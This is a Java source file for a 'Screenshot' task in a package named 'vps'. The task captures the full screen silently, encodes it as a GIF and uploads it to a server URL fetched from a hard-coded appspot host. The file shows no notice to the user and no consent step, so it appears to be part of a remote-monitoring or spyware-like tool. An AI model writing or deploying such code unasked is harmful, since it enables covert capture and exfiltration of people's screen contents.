/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package vps;

import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.util.Properties;
import javax.imageio.ImageIO;
import org.apache.commons.httpclient.DefaultHttpMethodRetryHandler;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpException;
import org.apache.commons.httpclient.HttpStatus;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.RequestEntity;
import org.apache.commons.httpclient.methods.multipart.ByteArrayPartSource;
import org.apache.commons.httpclient.methods.multipart.FilePart;
import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
import org.apache.commons.httpclient.params.HttpMethodParams;

/**
 *
 * @author Hue
 */
public class Screenshot implements Task {

    @Override
    public void run() {
        try {
            Toolkit tool = Toolkit.getDefaultToolkit();
            Dimension d = tool.getScreenSize();
            Rectangle rect = new Rectangle(d);
            Robot robot = new Robot();
            ByteArrayOutputStream baOut = new ByteArrayOutputStream();
            BufferedImage img = robot.createScreenCapture(rect);
            ImageIO.write(img, "gif", baOut);
            baOut.close();
            byte[] data = baOut.toByteArray();
            upload("screenshot.gif", data);
        }
        catch(Exception ex) {
            ex.printStackTrace();
        }
    }
    
    private void upload(final String filename, final byte[] data) throws Exception {
        final String url = getUploadUrl();
        final HttpClient client = new HttpClient();
        // Create a method instance.
        final PostMethod method = new PostMethod(url);
        FilePart filePart = new FilePart(filename, new ByteArrayPartSource(filename, data), " image/gif", "UTF-8");
        RequestEntity entity = new MultipartRequestEntity(new FilePart[] {filePart}, new HttpMethodParams());
        method.setRequestEntity(entity);
        // Provide custom retry handler is necessary
        method.getParams().setParameter(HttpMethodParams.RETRY_HANDLER, new DefaultHttpMethodRetryHandler(3, false));
        //
        try {
            // Execute the method.
            final int statusCode = client.executeMethod(method);

            if (statusCode != HttpStatus.SC_OK) {
                System.out.println(method.getStatusLine());
            }
            System.out.println("::" + method.getResponseBodyAsString());
        }
        catch (HttpException e) {
            System.err.println("Fatal protocol violation: " + e.getMessage());
            e.printStackTrace();
        } 
        catch (IOException e) {
            System.err.println("Fatal transport error: " + e.getMessage());
            e.printStackTrace();
        }
        finally {
            // Release the connection.
            method.releaseConnection();
        }
    }
    
    private String getUploadUrl() throws Exception {
        URL url = new URL("http://hueptusoft.appspot.com/uploadUrl");
        InputStream in = url.openStream();
        byte[] data = VPS.readData(in);
        in.close();
        return new String(data);
    }

    @Override
    public void setProperties(Properties params) {
    }
}
